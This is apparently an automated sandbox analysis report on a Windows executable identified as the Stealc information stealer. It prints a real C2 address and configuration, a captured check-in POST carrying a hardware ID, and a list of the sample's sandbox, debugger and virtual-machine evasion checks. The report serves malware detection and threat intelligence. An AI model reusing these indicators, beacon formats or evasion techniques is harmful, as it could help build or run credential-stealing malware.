Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542671
MD5:	3833a1b7c23d66eecec6b16ddf5cf540
SHA1:	05182934e239a8e6715ada16e0ddcde3b7598e05
SHA256:	96f09e8bd3f67c287a0bb1529d5220d9496a233fba5b1608366a2c280a864dd2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5752 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3833A1B7C23D66EECEC6B16DDF5CF540)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2096593419.00000000053F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5752	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5752	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.a40000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T05:55:08.006858+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.a40000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.206/

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00A4C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A49AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00A49AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A47240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00A47240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A49B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00A49B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A58EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00A58EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00A4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00A4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4F68A FindFirstFileA,	0_2_00A4F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A4DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A4BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.206/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 35 43 35 37 43 45 37 41 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"4A5C57CE7A89514701825------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"puma------GHDAAKJEGCFCAKEBKJJE--

Source: Joe Sandbox View

IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A44880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00A44880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 35 43 35 37 43 45 37 41 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"4A5C57CE7A89514701825------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"puma------GHDAAKJEGCFCAKEBKJJE--

Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2137808772.0000000001631000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php%
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php/
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php9
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpE
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpa
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/m
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/t
Source: file.exe, 00000000.00000002.2137808772.0000000001647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206kz.P6

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821	0_2_00E82821
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB5802	0_2_00EB5802
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DA895A	0_2_00DA895A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFC97F	0_2_00DFC97F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBB156	0_2_00EBB156
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1392C	0_2_00E1392C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E0B11B	0_2_00E0B11B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF1263	0_2_00CF1263
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE3260	0_2_00CE3260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E06251	0_2_00E06251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E10254	0_2_00E10254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFDCDA	0_2_00DFDCDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E07CED	0_2_00E07CED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4D4CF	0_2_00D4D4CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC3C5D	0_2_00DC3C5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4F413	0_2_00D4F413
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E0F5B2	0_2_00E0F5B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E02D44	0_2_00E02D44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB6653	0_2_00EB6653
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D60608	0_2_00D60608
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBDE33	0_2_00CBDE33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E097E0	0_2_00E097E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDB787	0_2_00CDB787
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DFF707	0_2_00DFF707

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00A445C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: rhebxyzr ZLIB complexity 0.9951511497101891

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A58680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00A58680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A53720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00A53720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\0TX10615.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1834496 > 1048576

Source: file.exe

Static PE information: Raw size of rhebxyzr is bigger than: 0x100000 < 0x199c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A59860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A59860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c70fa should be: 0x1c8212

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rhebxyzr
Source: file.exe	Static PE information: section name: gzayextq
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA58C5 push 08B2AEA6h; mov dword ptr [esp], ebp	0_2_00CA755F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA58C5 push ebx; mov dword ptr [esp], eax	0_2_00CA7587
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA58C5 push eax; mov dword ptr [esp], esi	0_2_00CA758B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1117 push 0696022Ah; mov dword ptr [esp], ecx	0_2_010D114A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE18A5 push edx; mov dword ptr [esp], eax	0_2_00EE18ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE18A5 push 0877DADCh; mov dword ptr [esp], ebp	0_2_00EE1905
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB20B0 push edx; mov dword ptr [esp], ebx	0_2_00EB2130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push ebx; mov dword ptr [esp], edi	0_2_00CE58C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push ecx; mov dword ptr [esp], ebx	0_2_00CE5926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push 0D164635h; mov dword ptr [esp], eax	0_2_00CE592F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push esi; mov dword ptr [esp], edx	0_2_00CE5944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push 7B888845h; mov dword ptr [esp], ecx	0_2_00CE59D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push eax; mov dword ptr [esp], 00000004h	0_2_00CE5A15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push ecx; mov dword ptr [esp], 7FC7E779h	0_2_00CE5A43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58B4 push esi; mov dword ptr [esp], ebx	0_2_00CE5AA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5B035 push ecx; ret	0_2_00A5B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1195 push ecx; mov dword ptr [esp], esp	0_2_010D11C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1195 push edi; mov dword ptr [esp], 327A8E89h	0_2_010D11F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1195 push 4A42F343h; mov dword ptr [esp], edx	0_2_010D12C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1195 push ecx; mov dword ptr [esp], eax	0_2_010D12E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D1195 push edi; mov dword ptr [esp], eax	0_2_010D132E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E7C041 push ebx; mov dword ptr [esp], edx	0_2_00E7C071
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821 push 11E46429h; mov dword ptr [esp], ebp	0_2_00E82856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821 push eax; mov dword ptr [esp], edi	0_2_00E828A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821 push edi; mov dword ptr [esp], ebx	0_2_00E82973
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821 push 7F4104CBh; mov dword ptr [esp], ebx	0_2_00E82991
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E82821 push ecx; mov dword ptr [esp], eax	0_2_00E829F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1902B push ebp; mov dword ptr [esp], edx	0_2_00E19066
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1902B push ebx; mov dword ptr [esp], 56284488h	0_2_00E19084
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1902B push 129BD874h; mov dword ptr [esp], ecx	0_2_00E190C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1902B push edx; mov dword ptr [esp], eax	0_2_00E190E6

Source: file.exe

Static PE information: section name: rhebxyzr entropy: 7.953785461765037

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00A59860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13651

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1C93 second address: CA1C9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E092AE second address: E092B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18A70 second address: E18A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18FDE second address: E18FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1B0E8 second address: E1B0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
